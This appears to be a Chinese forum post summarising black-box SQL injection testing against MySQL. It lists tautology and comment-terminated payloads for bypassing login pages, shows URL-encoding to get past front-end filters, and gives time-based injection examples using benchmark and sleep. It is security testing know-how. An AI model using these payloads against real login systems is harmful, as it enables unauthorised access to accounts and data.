SQL注入测试总结
SQL注入测试总结本文以MySQL数据库为例,其它数据库仅供参考。
1 黑盒测试
1.1 手工测试
Web应用的主要注入点有:
① POST请求体中的参数
② GET请求头URL中的参数
③ Cookie
1.1.1 内联注入
1、字符串内联注入
测试字符串
变种
预期结果
'
N/ A
触发数据库返回错误。
' OR '1' = '1
') OR ('1' = '1
永真,返回所有行。
value' OR '1' = '2
value') OR ('1' = '2
空,不影响返回结果。
' AND '1' = '2
') AND ('1' = '2
永假,返回空。
' OR 'ab' = 'a''b
') OR ('ab' = 'a''b
字符串连接,结果同永真。
字符串内联注入测试字符串
下面以绕过某系统登录页面为例,介绍字符串内联注入。
场景① 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在返回值验证通过。这种情况在用户名输入框输入' OR 1 = 1 OR '1' = '1,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:
SELECT * FROM usertable WHERE username = '' OR 1 = 1 OR '1' = '1' AND password = ''
也可以用户名为空,在密码输入框输入' OR '1' = '1,则猜测可构造如下SQL语句绕过后台校验登录系统:
SELECT * FROM usertable WHERE username = '' AND password = '' OR '1' = '1'
场景② 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在一条返回值验证通过。这种情况在用户名输入框输入username' AND 1 = 1 OR '1' = '1,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:
SELECT * FROM usertable WHERE username = 'username' AND 1 = 1 OR '1' = '1' AND password = ''
username如果未知,可以尝试使用admin、Admin、administrator、Administrator等进行猜测。
如果前端限制了某些字符不能输入,可以使用代理工具拦截并修改请求,如使用Burp Suite:
可以看到请求中某些字符是做了编码的,如果我们手工修改请求需要输入编码后的字符,常见需要编码的字符如下:
单引号(')编码为:%27
空格编码为:+
加号(+)编码为:%2B
等号(=)编码为:%3D
2、数字内联注入
数字与字符串的区别有两点:
① 数字不需要单引号(')包围。
② 数字能进行算术运算,字符串不能。
数字内联注入测试字符串数字内联注入与字符串内联注入测试方法类似,不再单独举例。1.1.2 终止式注入
终止式注入测试字符串
下面以绕过某系统登录页面为例,介绍终止式注入。
场景① 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在返回值验证通过。这种情况在用户名输入框输入' OR 1 = 1;-- ,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:
SELECT * FROM usertable WHERE username = '' OR 1 = 1;-- ' AND password = ''
场景② 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在一条返回值验证通过。这种情况在用户名输入框输入username';-- ,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:
SELECT * FROM usertable WHERE username = 'username';-- ' AND password = ''
也可以在用户名输入框输入' OR 1 = 1 LIMIT 1;-- ,密码为空:
SELECT * FROM usertable WHERE username = '' OR 1 = 1 LIMIT 1;-- ' AND password = ''
如果应用过滤掉了单行注释字符--,我们可以使用多行注释,即在用户名输入框输入username'/*,密码输入框输入*/':
SELECT * FROM usertable WHERE username = 'username'/*' AND password = '*/''
1.1.3 延迟注入
延迟注入属于一种特殊的终止式注入。延迟注入使用benchmark或sleep函数:
mysql> select benchmark(10000,md5('123456'));
+--------------------------------+
| benchmark(10000,md5('123456')) |
+--------------------------------+
| 0 |
+--------------------------------+
1 row in set (0.01 sec)
mysql> select benchmark(1000000,md5('123456'));
+----------------------------------+
| benchmark(1000000,md5('123456')) |
+----------------------------------+
| 0 |
+----------------------------------+
1 row in set (0.20 sec)
mysql> select benchmark(100000000,md5('123456'));
+------------------------------------+
| benchmark(100000000,md5('123456')) |
+------------------------------------+
| 0 |
+------------------------------------+
1 row in set (20.06 sec)
mysql> select sleep(10);
+-----------+
| sleep(10) |
+-----------+
| 0 |
+-----------+
1 row in set (10.13 sec)
1.2 自动化测试
SQL注入黑盒测试工具有很多,以下仅列出几种我熟悉的工具。
1.2.1 AppScan
AppScan是IBM的一款Web安全评估工具。AppScan可以对很多漏洞进行扫描,SQL注入只是其中的一种。
。。。
页:
[1]